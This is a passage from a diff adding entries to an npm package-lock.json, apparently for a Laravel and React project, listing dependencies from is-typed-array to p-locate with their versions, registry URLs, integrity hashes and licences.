"https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakref": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz", + "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-weakset": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz", + "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true, + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true, + "license": "ISC" + }, + "node_modules/iterator.prototype": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/iterator.prototype/-/iterator.prototype-1.1.5.tgz", + "integrity": "sha512-H0dkQoCa3b2VEeKQBOxFph+JAbcrQdE7KC0UkqwpLmv2EC4P41QXP+rqo9wYodACiG5/WM5s9oDApTU8utwj9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.6", + "get-proto": "^1.0.0", + "has-symbols": "^1.1.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/jiti": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.4.2.tgz", + "integrity": "sha512-rg9zJN+G4n2nfJl5MW3BMygZX56zKPNVEYYqq7adpmMh4Jn2QNEwhvQlFy6jPVdcod7txZtKHWnyZiA3a0zP7A==", + "license": "MIT", + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "license": "MIT" + }, + "node_modules/js-yaml": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.1.tgz", + "integrity": "sha512-CY6crGq313MX8GkwvB7tzgp99vjQxY1++5y10/BKN/GUfHqWaOGQMNZkBvqSzsZKWk/ijwHlWzzkLulsGHhjWQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true, + "license": "MIT" + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "license": "MIT", + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsx-ast-utils": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.3.5.tgz", + "integrity": "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "object.assign": "^4.1.4", + "object.values": "^1.1.6" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/laravel-precognition": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/laravel-precognition/-/laravel-precognition-1.0.2.tgz", + "integrity": "sha512-0H08JDdMWONrL/N314fvsO3FATJwGGlFKGkMF3nNmizVFJaWs17816iM+sX7Rp8d5hUjYCx6WLfsehSKfaTxjg==", + "license": "MIT", + "dependencies": { + "axios": "^1.4.0", + "lodash-es": "^4.17.21" + } + }, + "node_modules/laravel-vite-plugin": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/laravel-vite-plugin/-/laravel-vite-plugin-1.2.0.tgz", + "integrity": "sha512-R0pJ+IcTVeqEMoKz/B2Ij57QVq3sFTABiFmb06gAwFdivbOgsUtuhX6N2MGLEArajrS3U5JbberzwOe7uXHMHQ==", + "license": "MIT", + "dependencies": { + "picocolors": "^1.0.0", + "vite-plugin-full-reload": "^1.1.0" + }, + "bin": { + "clean-orphaned-assets": "bin/clean.js" + }, + "engines": { + "node": "^18.0.0 || ^20.0.0 || >=22.0.0" + }, + "peerDependencies": { + "vite": "^5.0.0 || ^6.0.0" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lightningcss": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.29.1.tgz", + "integrity": "sha512-FmGoeD4S05ewj+AkhTY+D+myDvXI6eL27FjHIjoyUkO/uw7WZD1fBVs0QxeYWa7E17CUHJaYX/RUGISCtcrG4Q==", + "license": "MPL-2.0", + "dependencies": { + "detect-libc": "^1.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + }, + "optionalDependencies": { + "lightningcss-darwin-arm64": "1.29.1", + "lightningcss-darwin-x64": "1.29.1", + "lightningcss-freebsd-x64": "1.29.1", + "lightningcss-linux-arm-gnueabihf": "1.29.1", + "lightningcss-linux-arm64-gnu": "1.29.1", + "lightningcss-linux-arm64-musl": "1.29.1", + "lightningcss-linux-x64-gnu": "1.29.1", + "lightningcss-linux-x64-musl": "1.29.1", + "lightningcss-win32-arm64-msvc": "1.29.1", + "lightningcss-win32-x64-msvc": "1.29.1" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.29.1.tgz", + "integrity": "sha512-HtR5XJ5A0lvCqYAoSv2QdZZyoHNttBpa5EP9aNuzBQeKGfbyH5+UipLWvVzpP4Uml5ej4BYs5I9Lco9u1fECqw==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.29.1.tgz", + "integrity": "sha512-k33G9IzKUpHy/J/3+9MCO4e+PzaFblsgBjSGlpAaFikeBFm8B/CkO3cKU9oI4g+fjS2KlkLM/Bza9K/aw8wsNA==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.29.1.tgz", + "integrity": "sha512-0SUW22fv/8kln2LnIdOCmSuXnxgxVC276W5KLTwoehiO0hxkacBxjHOL5EtHD8BAXg2BvuhsJPmVMasvby3LiQ==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.29.1.tgz", + "integrity": "sha512-sD32pFvlR0kDlqsOZmYqH/68SqUMPNj+0pucGxToXZi4XZgZmqeX/NkxNKCPsswAXU3UeYgDSpGhu05eAufjDg==", + "cpu": [ + "arm" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.29.1.tgz", + "integrity": "sha512-0+vClRIZ6mmJl/dxGuRsE197o1HDEeeRk6nzycSy2GofC2JsY4ifCRnvUWf/CUBQmlrvMzt6SMQNMSEu22csWQ==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.29.1.tgz", + "integrity": "sha512-UKMFrG4rL/uHNgelBsDwJcBqVpzNJbzsKkbI3Ja5fg00sgQnHw/VrzUTEc4jhZ+AN2BvQYz/tkHu4vt1kLuJyw==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.29.1.tgz", + "integrity": "sha512-u1S+xdODy/eEtjADqirA774y3jLcm8RPtYztwReEXoZKdzgsHYPl0s5V52Tst+GKzqjebkULT86XMSxejzfISw==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.29.1.tgz", + "integrity": "sha512-L0Tx0DtaNUTzXv0lbGCLB/c/qEADanHbu4QdcNOXLIe1i8i22rZRpbT3gpWYsCh9aSL9zFujY/WmEXIatWvXbw==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-arm64-msvc": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.29.1.tgz", + "integrity": "sha512-QoOVnkIEFfbW4xPi+dpdft/zAKmgLgsRHfJalEPYuJDOWf7cLQzYg0DEh8/sn737FaeMJxHZRc1oBreiwZCjog==", + "cpu": [ + "arm64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.29.1", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.29.1.tgz", + "integrity": "sha512-NygcbThNBe4JElP+olyTI/doBNGJvLs3bFCRPdvuCcxZCcCZ71B858IHpdm7L1btZex0FvCmM17FK98Y9MRy1Q==", + "cpu": [ + "x64" + ], + "license": "MPL-2.0", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/parcel" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.18.1.tgz", + "integrity": "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==", + "license": "MIT" + }, + "node_modules/lodash-es": { + "version": "4.18.1", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.18.1.tgz", + "integrity": "sha512-J8xewKD/Gk22OZbhpOVSwcs60zhd95ESDwezOFuA3/099925PdHJ7OFHNTGtajL3AlZkykD32HykiMo+BIBI8A==", + "license": "MIT" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "license": "ISC", + "dependencies": { + "yallist": "^3.0.2" + } + }, + "node_modules/lucide-react": { + "version": "0.475.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.475.0.tgz", + "integrity": "sha512-NJzvVu1HwFVeZ+Gwq2q00KygM1aBhy/ZrhY9FsAgJtpB+E4R7uxRk9M2iKvHa6/vNxZydIB59htha4c2vvwvVg==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/mime-match/-/mime-match-1.0.2.tgz", + "integrity": "sha512-VXp/ugGDVh3eCLOBCiHZMYWQaTNUHv2IJrut+yXA6+JbLPXHglHwfS/5A5L0ll+jkCY7fIzRJcH6OIunF+c6Cg==", + "license": "ISC", + "dependencies": { + "wildcard": "^1.1.0" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/namespace-emitter": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/namespace-emitter/-/namespace-emitter-2.0.1.tgz", + "integrity": "sha512-N/sMKHniSDJBjfrkbS/tpkPj4RAbvW3mr8UAzvlMHyun93XEm83IAvhWtJVHo+RHn/oO8Job5YN4b+wRjSVp5g==", + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.17", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.17.tgz", + "integrity": "sha512-xQLf0A3HOMlgHq0n247/LRuAOYmB7dXJ/DvAxGvsSBij45XtBSmQycu+F8ODbHwns/XyFZagyL1+J0Offw1E0g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/node-releases": { + "version": "2.0.52", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.52.tgz", + "integrity": "sha512-MRlTqhAfoMx/4mhEbPo3Hi02g9LJZaJkka69V6h67Cb1gjrAG0jsTE4CZX1eptNx+VCAwJmfpnDIF4P0Nh1A7A==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.7", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.8.tgz", + "integrity": "sha512-cmopxi8VwRIAw/fkijJohSfpef5PdN0pMQJN6VC/ZKvn0LIknWD8KtgY6KlQdEc4tIjcQ3HxSMmnvtzIscdaYQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz", + "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.2", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.values": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz", + "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.6", + "object-keys": "^1.1.1", + "safe-push-apply": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + 